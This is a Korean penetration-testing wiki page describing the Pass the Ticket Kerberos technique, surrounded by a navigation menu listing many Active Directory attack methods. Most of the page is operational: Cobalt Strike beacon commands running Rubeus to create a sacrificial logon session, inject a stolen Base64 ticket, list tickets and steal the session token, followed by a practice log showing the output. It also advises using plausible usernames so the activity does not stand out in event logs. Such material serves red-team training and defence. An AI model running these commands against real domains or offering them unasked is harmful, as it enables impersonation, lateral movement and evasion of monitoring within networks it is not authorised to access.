펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Ticket
      • DC Shadow
      • RID Hijacking
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • WriteOwner
        • GenericAll
        • GenericWrite
        • WriteSPN
        • AddMembers
        • WriteProperty
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Ticket
      • KrbRelayUp
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • DCSync
      • LSASS
      • Shadow Credentials
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxyfier
      • Remote Port Forwarding
    • NTLM Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • ETC
    • CS
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Active Directory Trusts
      • Delegation
      • OAuth 2.0
      • S4U
    • Tools
      • Cobalt Strike
      • BloodHound
      • Certipy-ad
      • LDAP Search
      • Hydra
      • Hashcat
Powered by GitBook
On this page

Was this helpful?

Export as PDF

Pass the Ticket

Pass the Ticket은 접근 가능한 기존 로그인 세션에 새로운 Kerberos 티켓을 추가하거나 새로 생성한 세션에 사용자의 티켓을 추가함으로써 인증이 가능하게 해주는 기법입니다. 하나의 로그인 세션에서는 고유한 TGT만을 가질 수 있기 때문에, 제어권을 탈취한 세션에서 다른 사용자의 TGT를 이용해 PtT 기법을 사용한다면 오류가 발생하게 됩니다.

Windows 인증 및 프로세스 실행을 관리하는 함수 중 CreateProcessWithLogonW API는 실제 존재하지 않는 사용자 계정 정보를 전달해도 가상의 로그인 세션을 생성해주게 되어있습니다. 도메인에 로그인 한 사용자는 모두 TGT가 발급되기 때문에 PtT 기법을 사용하기에 제약이 있지만 존재하지 않는 계정 정보를 통해 로그인 세션을 만들게 된다면 인증 과정을 건너뛰게 되어 TGT가 공란입니다. 이러한 세션 생성은 Rubeus를 통해서 할 수 있습니다.

# 익명 로그인 세션 생성
beacon> execute-assembly C:\Tools\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<NetBIOS> /username:<USER> /password:<PASS>

# 익명 로그인 세션에 Base64 Encoded Ticket 삽입
beacon> execute-assembly C:\Tools\Rubeus.exe ptt /luid:<LUID> /ticket:<Base64 Encoded Ticket>

# 삽입된 티켓 확인
beacon> execute-assembly C:\Tools\Rubeus.exe triage

# 삽입한 티켓이 있는 로그인 세션의 토큰을 사용함에 따라 클라이언트 가장
beacon> token-store steal <PID>

# 세션 정리
beacon> rev2self
beacon> kill <PID>

익명 로그인 세션을 생성할 때 기본적으로 아무런 계정 정보를 명시하지 않고 세션 생성을 시도하면 Rubeus는 랜덤한 난수를 입력하기 때문에 이벤트 로그를 확인했을 때 비정상적인 행위가 눈에 띌 수 있습니다. 따라서 위와 같이 실제 사용자 이름 혹은 유추 가능한 이름 등을 넣고 세션을 생성합니다.

Practice

# Rubeus를 통한 익명 로그인 세션 생성
[05/04 14:04:15] beacon> execute-assembly C:\Tools\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:dev.pentesting.wiki /username:wiki /password:wiki /opsec /domain:DEV
...
[*] Username        : wiki
[*] Domain          : DEV
[*] Password        : wiki
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 25216
[+] LUID            : 0x4bdc82
...

# 획득한 Base64로 인코딩된 티켓을 익명 로그인 세션에 삽입
[05/04 14:05:31] beacon> execute-assembly C:\Tools\Rubeus.exe ptt /luid:0x4bdc82 /ticket:<Base64 Encoded Ticket>
...
[*] Action: Import Ticket
[*] Target LUID: 0x4bdc82
[+] Ticket successfully imported!
...

# triage 명령을 통해 티켓 목록 확인
[05/04 14:06:02] beacon> execute-assembly C:\Tools\Rubeus.exe triage
...
[*] Current LUID    : 0x1595f6
 ----------------------------------------------------------------------------------------------------------------------
 | LUID     | UserName                         | Service                                       | EndTime              |
 ----------------------------------------------------------------------------------------------------------------------
 | 0x4bdc82 | pentesting @ DEV.PENTESTING.WIKI | krbtgt/dev.pentesting.wiki                    | 5/5/2025 12:01:20 AM |
 ...


PreviousPass the HashNextOverpass the Hash

Last updated 4 days ago

Was this helpful?